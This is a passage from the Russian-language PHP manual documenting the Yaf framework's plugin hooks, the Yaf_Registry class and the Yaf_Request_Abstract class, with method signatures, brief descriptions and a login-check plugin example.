"application" => array(
"directory" => dirname(__FILE__) . "/application/",
),
);

$app = new Yaf_Application($config);
$app->bootstrap()->run();
?>

Результатом выполнения данного примера будет что-то подобное:

string(13) "routerStartup"
string(14) "routerShutdown"
string(19) "dispatchLoopStartup"
string(11) "preDispatch"
string(12) "postDispatch"
string(20) "dispatchLoopShutdown"

Обзор классов

class Yaf_Plugin_Abstract {
/* Методы */
public dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public preResponse(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
public routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void
}

Содержание

  • Yaf_Plugin_Abstract::dispatchLoopShutdown — Назначение dispatchLoopShutdown
  • Yaf_Plugin_Abstract::dispatchLoopStartup — Хук перед отправкой цикла
  • Yaf_Plugin_Abstract::postDispatch — Назначение postDispatch
  • Yaf_Plugin_Abstract::preDispatch — Назначение preDispatch
  • Yaf_Plugin_Abstract::preResponse — Назначение preResponse
  • Yaf_Plugin_Abstract::routerShutdown — Назначение routerShutdown
  • Yaf_Plugin_Abstract::routerStartup — Перехватчик RouterStartup

User Contributed Notes

gianjason#gmail.com 09-Jan-2013 07:59
All the methods which the plugin implemented according to this interface, will be called at the proper time automatically.


Назначение dispatchLoopShutdown

  • « Yaf_Plugin_Abstract
  • Yaf_Plugin_Abstract::dispatchLoopStartup »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Назначение dispatchLoopShutdown

Yaf_Plugin_Abstract::dispatchLoopShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopShutdown — Назначение dispatchLoopShutdown

Описание

public Yaf_Plugin_Abstract::dispatchLoopShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Это последний перехватчик в системе подключений плагинов Yaf, если пользовательский плагин реализует этот метод, то он будет вызван после завершения цикла диспетчеризации.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

response

Возвращаемые значения

Смотрите также

  • Yaf_Plugin_Abstract::routerStartup() - Перехватчик RouterStartup
  • Yaf_Plugin_Abstract::routerShutdown() - Назначение routerShutdown
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - Хук перед отправкой цикла
  • Yaf_Plugin_Abstract::preDispatch() - Назначение preDispatch
  • Yaf_Plugin_Abstract::postDispatch() - Назначение postDispatch

User Contributed Notes

There are no user contributed notes for this page.


Хук перед отправкой цикла

  • « Yaf_Plugin_Abstract::dispatchLoopShutdown
  • Yaf_Plugin_Abstract::postDispatch »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Хук перед отправкой цикла

Yaf_Plugin_Abstract::dispatchLoopStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopStartup — Хук перед отправкой цикла

Описание

public Yaf_Plugin_Abstract::dispatchLoopStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Список параметров

request

response

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение postDispatch

  • « Yaf_Plugin_Abstract::dispatchLoopStartup
  • Yaf_Plugin_Abstract::preDispatch »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Назначение postDispatch

Yaf_Plugin_Abstract::postDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::postDispatch — Назначение postDispatch

Описание

public Yaf_Plugin_Abstract::postDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

response

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение preDispatch

  • « Yaf_Plugin_Abstract::postDispatch
  • Yaf_Plugin_Abstract::preResponse »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Назначение preDispatch

Yaf_Plugin_Abstract::preDispatch

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preDispatch — Назначение preDispatch

Описание

public Yaf_Plugin_Abstract::preDispatch(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

response

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение preResponse

  • « Yaf_Plugin_Abstract::preDispatch
  • Yaf_Plugin_Abstract::routerShutdown »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Назначение preResponse

Yaf_Plugin_Abstract::preResponse

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::preResponse — Назначение preResponse

Описание

public Yaf_Plugin_Abstract::preResponse(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

response

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение routerShutdown

  • « Yaf_Plugin_Abstract::preResponse
  • Yaf_Plugin_Abstract::routerStartup »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Назначение routerShutdown

Yaf_Plugin_Abstract::routerShutdown

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerShutdown — Назначение routerShutdown

Описание

public Yaf_Plugin_Abstract::routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Этот перехватчик будет запущен после завершения процесса маршрутизации, обычно используется для проверки входа в систему.

Список параметров

request

response

Возвращаемые значения

Примеры

Пример #1 Пример использования Yaf_Plugin_Abstract::routerShutdown()

<?php
class UserInitPlugin extends Yaf_Plugin_Abstract {

public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
$controller = $request->getControllerName();

/**
* Использовать контроллер доступа не нужно для API
*/
if (in_array(strtolower($controller), array(
'api',
))) {
return TRUE;
}

if (Yaf_Session::getInstance()->has("login")) {
return TRUE;
}

/* Ошибка проверки доступа, необходимо войти */
$response->setRedirect("http://yourdomain.com/login/");
return FALSE;
}
}
?>

Смотрите также

  • Yaf_Plugin_Abstract::routerStartup() - Перехватчик RouterStartup
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - Хук перед отправкой цикла
  • Yaf_Plugin_Abstract::preDispatch() - Назначение preDispatch
  • Yaf_Plugin_Abstract::postDispatch() - Назначение postDispatch
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - Назначение dispatchLoopShutdown

User Contributed Notes

There are no user contributed notes for this page.


Перехватчик RouterStartup

  • « Yaf_Plugin_Abstract::routerShutdown
  • Yaf_Registry »
  • PHP Manual
  • Yaf_Plugin_Abstract
  • Перехватчик RouterStartup

Yaf_Plugin_Abstract::routerStartup

(Yaf >=1.0.0)

Yaf_Plugin_Abstract::routerStartup — Перехватчик RouterStartup

Описание

public Yaf_Plugin_Abstract::routerStartup(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response): void

Это самый ранний перехватчик в системе плагинов Yaf, если пользовательский плагин реализует этот метод, то он будет вызван перед маршрутизацией запроса.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

request

response

Возвращаемые значения

Смотрите также

  • Yaf_Plugin_Abstract::routerShutdown() - Назначение routerShutdown
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - Хук перед отправкой цикла
  • Yaf_Plugin_Abstract::preDispatch() - Назначение preDispatch
  • Yaf_Plugin_Abstract::postDispatch() - Назначение postDispatch
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - Назначение dispatchLoopShutdown

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Registry

(Yaf >=1.0.0)

Введение

Все методы Yaf_Registry определены как статичные, делая их универсально доступными. Это предоставляет возможности прочитать или записать какие-либо данные из любого места в вашем приложении.

Обзор классов

class Yaf_Registry {
/* Свойства */
static $_instance;
protected $_entries;
/* Методы */
private __construct()
public static del(string $name): void
public static get(string $name): mixed
public static has(string $name): bool
public static set(string $name, string $value): bool
}

Свойства

_instance

_entries

Содержание

  • Yaf_Registry::__construct — Yaf_Registry реализует шаблон проектирования "Одиночка"
  • Yaf_Registry::del — Удаляет элемент из реестра
  • Yaf_Registry::get — Получает элемент из реестра
  • Yaf_Registry::has — Проверяет, существует ли элемент
  • Yaf_Registry::set — Добавляет элемент в реестр

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Registry реализует шаблон проектирования "Одиночка"

  • « Yaf_Registry
  • Yaf_Registry::del »
  • PHP Manual
  • Yaf_Registry
  • Yaf_Registry реализует шаблон проектирования "Одиночка"

Yaf_Registry::__construct

(Yaf >=1.0.0)

Yaf_Registry::__construct — Yaf_Registry реализует шаблон проектирования "Одиночка"

Описание

private Yaf_Registry::__construct()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Удаляет элемент из реестра

  • « Yaf_Registry::__construct
  • Yaf_Registry::get »
  • PHP Manual
  • Yaf_Registry
  • Удаляет элемент из реестра

Yaf_Registry::del

(Yaf >=1.0.0)

Yaf_Registry::del — Удаляет элемент из реестра

Описание

public static Yaf_Registry::del(string $name): void

Удаляет элемент из реестра

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает элемент из реестра

  • « Yaf_Registry::del
  • Yaf_Registry::has »
  • PHP Manual
  • Yaf_Registry
  • Получает элемент из реестра

Yaf_Registry::get

(Yaf >=1.0.0)

Yaf_Registry::get — Получает элемент из реестра

Описание

public static Yaf_Registry::get(string $name): mixed

Получает элемент из реестра

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли элемент

  • « Yaf_Registry::get
  • Yaf_Registry::set »
  • PHP Manual
  • Yaf_Registry
  • Проверяет, существует ли элемент

Yaf_Registry::has

(Yaf >=1.0.0)

Yaf_Registry::has — Проверяет, существует ли элемент

Описание

public static Yaf_Registry::has(string $name): bool

Проверяет, существует ли элемент

Список параметров

name

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Добавляет элемент в реестр

  • « Yaf_Registry::has
  • Yaf_Request_Abstract »
  • PHP Manual
  • Yaf_Registry
  • Добавляет элемент в реестр

Yaf_Registry::set

(Yaf >=1.0.0)

Yaf_Registry::set — Добавляет элемент в реестр

Описание

public static Yaf_Registry::set(string $name, string $value): bool

Добавляет элемент в реестр

Список параметров

name

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Yaf_Request_Abstract

(Yaf >=1.0.0)

Введение

Обзор классов

class Yaf_Request_Abstract {
/* Константы */
const string SCHEME_HTTP = http;
const string SCHEME_HTTPS = https;
/* Свойства */
public $module;
public $controller;
public $action;
public $method;
protected $params;
protected $language;
protected $_exception;
protected $_base_uri;
protected $uri;
protected $dispatched;
protected $routed;
/* Методы */
public clearParams(): bool
public getActionName(): void
public getBaseUri(): void
public getControllerName(): void
public getEnv(string $name, string $default = ?): void
public getException(): void
public getLanguage(): void
public getMethod(): string
public getModuleName(): void
public getParam(string $name, string $default = ?): mixed
public getParams(): array
public getRequestUri(): void
public getServer(string $name, string $default = ?): void
public isCli(): bool
public isDispatched(): bool
public isGet(): bool
public isHead(): bool
public isOptions(): bool
public isPost(): bool
public isPut(): bool
public isRouted(): bool
public isXmlHttpRequest(): bool
public setActionName(string $action, bool $format_name = true): void
public setBaseUri(string $uir): bool
public setControllerName(string $controller, bool $format_name = true): void
public setDispatched(): void
public setModuleName(string $module, bool $format_name = true): void
public setParam(string $name, string $value = ?): bool
public setRequestUri(string $uir): void
public setRouted(string $flag = ?): void
}

Свойства

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Предопределённые константы

Yaf_Request_Abstract::SCHEME_HTTP

Yaf_Request_Abstract::SCHEME_HTTPS

Содержание

  • Yaf_Request_Abstract::clearParams — Удаляет все параметры
  • Yaf_Request_Abstract::getActionName — Назначение getActionName
  • Yaf_Request_Abstract::getBaseUri — Назначение getBaseUri
  • Yaf_Request_Abstract::getControllerName — Назначение getControllerName
  • Yaf_Request_Abstract::getEnv — Получает переменную ENV
  • Yaf_Request_Abstract::getException — Назначение getException
  • Yaf_Request_Abstract::getLanguage — Получает предпочтительный язык клиента
  • Yaf_Request_Abstract::getMethod — Получает метод запроса
  • Yaf_Request_Abstract::getModuleName — Назначение getModuleName
  • Yaf_Request_Abstract::getParam — Получает параметр вызова
  • Yaf_Request_Abstract::getParams — Получает все параметры вызова
  • Yaf_Request_Abstract::getRequestUri — Назначение getRequestUri
  • Yaf_Request_Abstract::getServer — Получает переменную SERVER
  • Yaf_Request_Abstract::isCli — Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isDispatched — Определяет, отправлен ли запрос
  • Yaf_Request_Abstract::isGet — Определяет, является ли запрос GET-запросом
  • Yaf_Request_Abstract::isHead — Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isOptions — Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isPost — Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut — Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isRouted — Определяет, был ли запрос направлен
  • Yaf_Request_Abstract::isXmlHttpRequest — Определяет, является ли запрос AJAX-запросом
  • Yaf_Request_Abstract::setActionName — Устанавливает имя действия
  • Yaf_Request_Abstract::setBaseUri — Устанавливает базовый URI
  • Yaf_Request_Abstract::setControllerName — Устанавливает имя контроллера
  • Yaf_Request_Abstract::setDispatched — Назначение setDispatched
  • Yaf_Request_Abstract::setModuleName — Устанавливает имя модуля
  • Yaf_Request_Abstract::setParam — Устанавливает параметр вызова для запроса
  • Yaf_Request_Abstract::setRequestUri — Назначение setRequestUri
  • Yaf_Request_Abstract::setRouted — Назначение setRouted

User Contributed Notes

There are no user contributed notes for this page.


Удаляет все параметры

  • « Yaf_Request_Abstract
  • Yaf_Request_Abstract::getActionName »
  • PHP Manual
  • Yaf_Request_Abstract
  • Удаляет все параметры

Yaf_Request_Abstract::clearParams

(Информация о версии неизвестна, возможно, только в Git)

Yaf_Request_Abstract::clearParams — Удаляет все параметры

Описание

public Yaf_Request_Abstract::clearParams(): bool

Удаляет все параметры, установленные маршрутизатором или Yaf_Request_Abstract::setParam()

Список параметров

У этой функции нет параметров.

Возвращаемые значения

bool

Смотрите также

  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isGet() - Определяет, является ли запрос GET-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Назначение getActionName

  • « Yaf_Request_Abstract::clearParams
  • Yaf_Request_Abstract::getBaseUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение getActionName

Yaf_Request_Abstract::getActionName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getActionName — Назначение getActionName

Описание

public Yaf_Request_Abstract::getActionName(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getBaseUri

  • « Yaf_Request_Abstract::getActionName
  • Yaf_Request_Abstract::getControllerName »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение getBaseUri

Yaf_Request_Abstract::getBaseUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getBaseUri — Назначение getBaseUri

Описание

public Yaf_Request_Abstract::getBaseUri(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Назначение getControllerName

  • « Yaf_Request_Abstract::getBaseUri
  • Yaf_Request_Abstract::getEnv »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение getControllerName

Yaf_Request_Abstract::getControllerName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getControllerName — Назначение getControllerName

Описание

public Yaf_Request_Abstract::getControllerName(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную ENV

  • « Yaf_Request_Abstract::getControllerName
  • Yaf_Request_Abstract::getException »
  • PHP Manual
  • Yaf_Request_Abstract
  • Получает переменную ENV

Yaf_Request_Abstract::getEnv

(Yaf >=1.0.0)

Yaf_Request_Abstract::getEnv — Получает переменную ENV

Описание

public Yaf_Request_Abstract::getEnv(string $name, string $default = ?): void

Получает переменную ENV

Список параметров

name

Имя переменной

default

Если указан этот параметр, он будет возвращён, если переменная не найдена

Возвращаемые значения

Возвращает строку

Смотрите также

  • Yaf_Request_Abstract::getServer() - Получает переменную SERVER
  • Yaf_Request_Abstract::getParam() - Получает параметр вызова

User Contributed Notes

There are no user contributed notes for this page.


Назначение getException

  • « Yaf_Request_Abstract::getEnv
  • Yaf_Request_Abstract::getLanguage »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение getException

Yaf_Request_Abstract::getException

(Yaf >=1.0.0)

Yaf_Request_Abstract::getException — Назначение getException

Описание

public Yaf_Request_Abstract::getException(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает предпочтительный язык клиента

  • « Yaf_Request_Abstract::getException
  • Yaf_Request_Abstract::getMethod »
  • PHP Manual
  • Yaf_Request_Abstract
  • Получает предпочтительный язык клиента

Yaf_Request_Abstract::getLanguage

(Yaf >=1.0.0)

Yaf_Request_Abstract::getLanguage — Получает предпочтительный язык клиента

Описание

public Yaf_Request_Abstract::getLanguage(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку

User Contributed Notes

There are no user contributed notes for this page.


Получает метод запроса

  • « Yaf_Request_Abstract::getLanguage
  • Yaf_Request_Abstract::getModuleName »
  • PHP Manual
  • Yaf_Request_Abstract
  • Получает метод запроса

Yaf_Request_Abstract::getMethod

(Yaf >=1.0.0)

Yaf_Request_Abstract::getMethod — Получает метод запроса

Описание

public Yaf_Request_Abstract::getMethod(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, например, "POST", "GET" и так далее.

Смотрите также

  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isCli() - Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Назначение getModuleName

  • « Yaf_Request_Abstract::getMethod
  • Yaf_Request_Abstract::getParam »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение getModuleName

Yaf_Request_Abstract::getModuleName

(Yaf >=1.0.0)

Yaf_Request_Abstract::getModuleName — Назначение getModuleName

Описание

public Yaf_Request_Abstract::getModuleName(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает параметр вызова

  • « Yaf_Request_Abstract::getModuleName
  • Yaf_Request_Abstract::getParams »
  • PHP Manual
  • Yaf_Request_Abstract
  • Получает параметр вызова

Yaf_Request_Abstract::getParam

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParam — Получает параметр вызова

Описание

public Yaf_Request_Abstract::getParam(string $name, string $default = ?): mixed

Список параметров

name

default

Возвращаемые значения

Смотрите также

  • Yaf_Request_Abstract::setParam() - Устанавливает параметр вызова для запроса

User Contributed Notes

yaqi dot wang at fengjr dot com 22-May-2018 05:51
<?php
$id = $this->getRequest()->getParam("id",'');
echo '<pre>';
var_dump($id); //1
?>


Получает все параметры вызова

  • « Yaf_Request_Abstract::getParam
  • Yaf_Request_Abstract::getRequestUri »
  • PHP Manual
  • Yaf_Request_Abstract
  • Получает все параметры вызова

Yaf_Request_Abstract::getParams

(Yaf >=1.0.0)

Yaf_Request_Abstract::getParams — Получает все параметры вызова

Описание

public Yaf_Request_Abstract::getParams(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Смотрите также

  • Yaf_Request_Abstract::setParam() - Устанавливает параметр вызова для запроса

User Contributed Notes

There are no user contributed notes for this page.


Назначение getRequestUri

  • « Yaf_Request_Abstract::getParams
  • Yaf_Request_Abstract::getServer »
  • PHP Manual
  • Yaf_Request_Abstract
  • Назначение getRequestUri

Yaf_Request_Abstract::getRequestUri

(Yaf >=1.0.0)

Yaf_Request_Abstract::getRequestUri — Назначение getRequestUri

Описание

public Yaf_Request_Abstract::getRequestUri(): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную SERVER

  • « Yaf_Request_Abstract::getRequestUri
  • Yaf_Request_Abstract::isCli »
  • PHP Manual
  • Yaf_Request_Abstract
  • Получает переменную SERVER

Yaf_Request_Abstract::getServer

(Yaf >=1.0.0)

Yaf_Request_Abstract::getServer — Получает переменную SERVER

Описание

public Yaf_Request_Abstract::getServer(string $name, string $default = ?): void

Получает переменную SERVER

Список параметров

name

Имя переменной

default

Если указан этот параметр, он будет возвращён, если переменная не найдена

Возвращаемые значения

Смотрите также

  • Yaf_Request_Abstract::getParam() - Получает параметр вызова
  • Yaf_Request_Abstract::getEnv() - Получает переменную ENV

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос CLI-запросом

  • « Yaf_Request_Abstract::getServer
  • Yaf_Request_Abstract::isDispatched »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос CLI-запросом

Yaf_Request_Abstract::isCli

(Yaf >=1.0.0)

Yaf_Request_Abstract::isCli — Определяет, является ли запрос CLI-запросом

Описание

public Yaf_Request_Abstract::isCli(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isGet() - Определяет, является ли запрос GET-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Определяет, отправлен ли запрос

  • « Yaf_Request_Abstract::isCli
  • Yaf_Request_Abstract::isGet »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, отправлен ли запрос

Yaf_Request_Abstract::isDispatched

(Yaf >=1.0.0)

Yaf_Request_Abstract::isDispatched — Определяет, отправлен ли запрос

Описание

public Yaf_Request_Abstract::isDispatched(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

  • Yaf_Dispatcher::dispatch() - Отправляет запрос

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос GET-запросом

  • « Yaf_Request_Abstract::isDispatched
  • Yaf_Request_Abstract::isHead »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос GET-запросом

Yaf_Request_Abstract::isGet

(Yaf >=1.0.0)

Yaf_Request_Abstract::isGet — Определяет, является ли запрос GET-запросом

Описание

public Yaf_Request_Abstract::isGet(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isCli() - Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос HEAD-запросом

  • « Yaf_Request_Abstract::isGet
  • Yaf_Request_Abstract::isOptions »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос HEAD-запросом

Yaf_Request_Abstract::isHead

(Yaf >=1.0.0)

Yaf_Request_Abstract::isHead — Определяет, является ли запрос HEAD-запросом

Описание

public Yaf_Request_Abstract::isHead(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

  • Yaf_Request_Abstract::isGet() - Определяет, является ли запрос GET-запросом
  • Yaf_Request_Abstract::isCli() - Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос OPTIONS-запросом

  • « Yaf_Request_Abstract::isHead
  • Yaf_Request_Abstract::isPost »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос OPTIONS-запросом

Yaf_Request_Abstract::isOptions

(Yaf >=1.0.0)

Yaf_Request_Abstract::isOptions — Определяет, является ли запрос OPTIONS-запросом

Описание

public Yaf_Request_Abstract::isOptions(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос POST-запросом

  • « Yaf_Request_Abstract::isOptions
  • Yaf_Request_Abstract::isPut »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос POST-запросом

Yaf_Request_Abstract::isPost

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPost — Определяет, является ли запрос POST-запросом

Описание

public Yaf_Request_Abstract::isPost(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

  • Yaf_Request_Abstract::isGet() - Определяет, является ли запрос GET-запросом
  • Yaf_Request_Abstract::isCli() - Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isPut() - Определяет, является ли запрос PUT-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос PUT-запросом

  • « Yaf_Request_Abstract::isPost
  • Yaf_Request_Abstract::isRouted »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос PUT-запросом

Yaf_Request_Abstract::isPut

(Yaf >=1.0.0)

Yaf_Request_Abstract::isPut — Определяет, является ли запрос PUT-запросом

Описание

public Yaf_Request_Abstract::isPut(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

  • Yaf_Request_Abstract::isHead() - Определяет, является ли запрос HEAD-запросом
  • Yaf_Request_Abstract::isCli() - Определяет, является ли запрос CLI-запросом
  • Yaf_Request_Abstract::isPost() - Определяет, является ли запрос POST-запросом
  • Yaf_Request_Abstract::isGet() - Определяет, является ли запрос GET-запросом
  • Yaf_Request_Abstract::isOptions() - Определяет, является ли запрос OPTIONS-запросом
  • Yaf_Request_Abstract::isXmlHTTPRequest() - Определяет, является ли запрос AJAX-запросом

User Contributed Notes

There are no user contributed notes for this page.


Определяет, был ли запрос направлен

  • « Yaf_Request_Abstract::isPut
  • Yaf_Request_Abstract::isXmlHttpRequest »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, был ли запрос направлен

Yaf_Request_Abstract::isRouted

(Yaf >=1.0.0)

Yaf_Request_Abstract::isRouted — Определяет, был ли запрос направлен

Описание

public Yaf_Request_Abstract::isRouted(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

User Contributed Notes

There are no user contributed notes for this page.


Определяет, является ли запрос AJAX-запросом

  • « Yaf_Request_Abstract::isRouted
  • Yaf_Request_Abstract::setActionName »
  • PHP Manual
  • Yaf_Request_Abstract
  • Определяет, является ли запрос AJAX-запросом

Yaf_Request_Abstract::isXmlHttpRequest

(Yaf >=1.0.0)

Yaf_Request_Abstract::isXmlHttpRequest — Определяет, является ли запрос AJAX-запросом

Описание

public Yaf_Request_Abstract::isXmlHttpRequest(): bool

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (boolean)

Смотрите также

